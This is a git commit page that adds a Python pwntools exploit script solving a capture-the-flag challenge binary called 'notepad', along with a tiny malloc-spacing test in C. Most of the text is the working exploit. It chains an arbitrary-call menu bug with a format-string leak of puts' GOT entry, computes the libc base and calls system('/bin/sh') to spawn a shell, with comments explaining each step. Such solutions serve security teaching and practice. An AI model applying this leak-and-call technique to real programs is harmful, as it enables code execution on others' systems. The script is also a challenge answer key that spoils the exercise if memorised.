Finished format-string/notepad
This commit is contained in:
111
format-string/notepad/answer.py
Executable file
111
format-string/notepad/answer.py
Executable file
@@ -0,0 +1,111 @@
|
|||||||
|
#!/usr/bin/env python2
|
||||||
|
from pwn import *
|
||||||
|
from LibcSearcher import *
|
||||||
|
from struct import pack
|
||||||
|
import os, base64, math, time
|
||||||
|
context(arch = "i386",os = "linux", log_level = "debug")
|
||||||
|
|
||||||
|
def notepad_init(p):
|
||||||
|
p.recvuntil("::> ")
|
||||||
|
p.sendline("c")
|
||||||
|
|
||||||
|
def notepad_new(p):
|
||||||
|
p.recvuntil("::> ")
|
||||||
|
p.sendline("a")
|
||||||
|
p.recvuntil("size > ")
|
||||||
|
p.sendline("16")
|
||||||
|
p.recvuntil("data > ")
|
||||||
|
p.sendline("\x00")
|
||||||
|
|
||||||
|
def notepad_open(p, id, content, option):
|
||||||
|
p.recvuntil("::> ")
|
||||||
|
p.sendline("b")
|
||||||
|
p.recvuntil("id > ")
|
||||||
|
p.sendline("%d" % id)
|
||||||
|
p.recvuntil("edit (Y/n)")
|
||||||
|
p.sendline("Y")
|
||||||
|
p.recvuntil("content > ")
|
||||||
|
p.sendline(content)
|
||||||
|
p.recvuntil("::> ")
|
||||||
|
p.sendline(option)
|
||||||
|
|
||||||
|
def notepad_open_noinput(p, id, option):
|
||||||
|
p.recvuntil("::> ")
|
||||||
|
p.sendline("b")
|
||||||
|
p.recvuntil("id > ")
|
||||||
|
p.sendline("%d" % id)
|
||||||
|
p.recvuntil("::> ")
|
||||||
|
p.sendline(option)
|
||||||
|
|
||||||
|
|
||||||
|
p = process('./notepad')
|
||||||
|
elf = ELF('./notepad')
|
||||||
|
gdb_command = """
|
||||||
|
b *0x8048ae7
|
||||||
|
b *0x8048ce8
|
||||||
|
"""
|
||||||
|
# 0x8048ae7: malloc on notepad_new
|
||||||
|
# 0x8048ce8: call eax on notepad_open
|
||||||
|
strncpy_plt = elf.plt['strncpy']
|
||||||
|
"""
|
||||||
|
The PLT address of printf end with 0x00, obstructed the copy from
|
||||||
|
stack variable array s in notepad_open() to v1->text in heap on strncpy()
|
||||||
|
function. According to PLT/GOT mechanism, call to PLT entry address + 6
|
||||||
|
will lead to dynamic linker refilling the GOT table entry and reinvoke
|
||||||
|
function again. So add the origin PLT address to a offset 0x6 will have
|
||||||
|
the same effect on calling the pure PLT entry.
|
||||||
|
"""
|
||||||
|
printf_plt = elf.plt['printf'] + 0x6
|
||||||
|
puts_plt = elf.plt['puts']
|
||||||
|
puts_got = elf.got['puts']
|
||||||
|
time.sleep(1)
|
||||||
|
# gdb.attach(p, gdb_command)
|
||||||
|
|
||||||
|
|
||||||
|
notepad_init(p)
|
||||||
|
"""
|
||||||
|
Via experimenting, every 0x20 Bytes memory block allocation request
|
||||||
|
sent to malloc() would lead to a 0x30 Bytes offset between two memory
|
||||||
|
block pointers.
|
||||||
|
"""
|
||||||
|
for i in range(4):
|
||||||
|
notepad_new(p) # Apply memory for 4 notepadStruct
|
||||||
|
|
||||||
|
# Write strncpy() address to notepadStruct0.text(¬epadStruct0+16B)
|
||||||
|
notepad_open(p, 0, p32(strncpy_plt), "a")
|
||||||
|
"""
|
||||||
|
First, send the printf format string to stack variable array s. The
|
||||||
|
11th argument will be the GOT adress of puts. We need to leak that.
|
||||||
|
Secondly, there exists a vulnerability in menu() so we can call arbitary
|
||||||
|
function, and the offset between ¬epadStruct1 and ¬epadStruct0.text
|
||||||
|
is 0x20, so we minus 8 here in the option.
|
||||||
|
In all, we executed strncpy(¬epadStruct1, "%11$s", 16).
|
||||||
|
"""
|
||||||
|
notepad_open(p, 1, "%11$s " + "\x00", chr(ord("a") - 8))
|
||||||
|
# Write printf() address to notepadStruct0.text(¬epadStruct0+16B)
|
||||||
|
notepad_open(p, 0, p32(printf_plt), "a")
|
||||||
|
"""
|
||||||
|
Here we wrote GOT address of puts() to the stack also the 11th argument
|
||||||
|
position and called the printf().
|
||||||
|
In all, we executed printf("%11$s", ... (9 arguments), got_of_puts) to
|
||||||
|
leak the libc address of puts to find libc base offset.
|
||||||
|
"""
|
||||||
|
notepad_open(p, 1, p32(puts_got) + " \x00", chr(ord("a") - 8))
|
||||||
|
|
||||||
|
puts_libc = u32(p.recv(4))
|
||||||
|
print("puts libc: %s" % hex(puts_libc))
|
||||||
|
libc = LibcSearcher('puts', puts_libc)
|
||||||
|
libc_base = puts_libc - libc.dump('puts')
|
||||||
|
print("base libc: %s" % hex(libc_base))
|
||||||
|
system_libc = libc_base + libc.dump('system')
|
||||||
|
print("system libc: %s" % hex(system_libc))
|
||||||
|
|
||||||
|
# Similarly, copy "/bin/sh" as the first argument
|
||||||
|
notepad_open(p, 2, p32(strncpy_plt), "a")
|
||||||
|
notepad_open(p, 3, "/bin/sh" + "\x00", chr(ord("a") - 8))
|
||||||
|
# Prepare system()
|
||||||
|
notepad_open(p, 2, p32(system_libc), "a")
|
||||||
|
# Call system("/bin/sh")
|
||||||
|
notepad_open_noinput(p, 3, chr(ord("a") - 8))
|
||||||
|
|
||||||
|
p.interactive()
|
||||||
BIN
format-string/notepad/notepad
Executable file
BIN
format-string/notepad/notepad
Executable file
Binary file not shown.
BIN
format-string/notepad/testMalloc
Executable file
BIN
format-string/notepad/testMalloc
Executable file
Binary file not shown.
9
format-string/notepad/testMalloc.c
Normal file
9
format-string/notepad/testMalloc.c
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
int main(){
|
||||||
|
for(int i=0; i<10; i++){
|
||||||
|
void *p = malloc(0x20);
|
||||||
|
printf("%p\n", p);
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user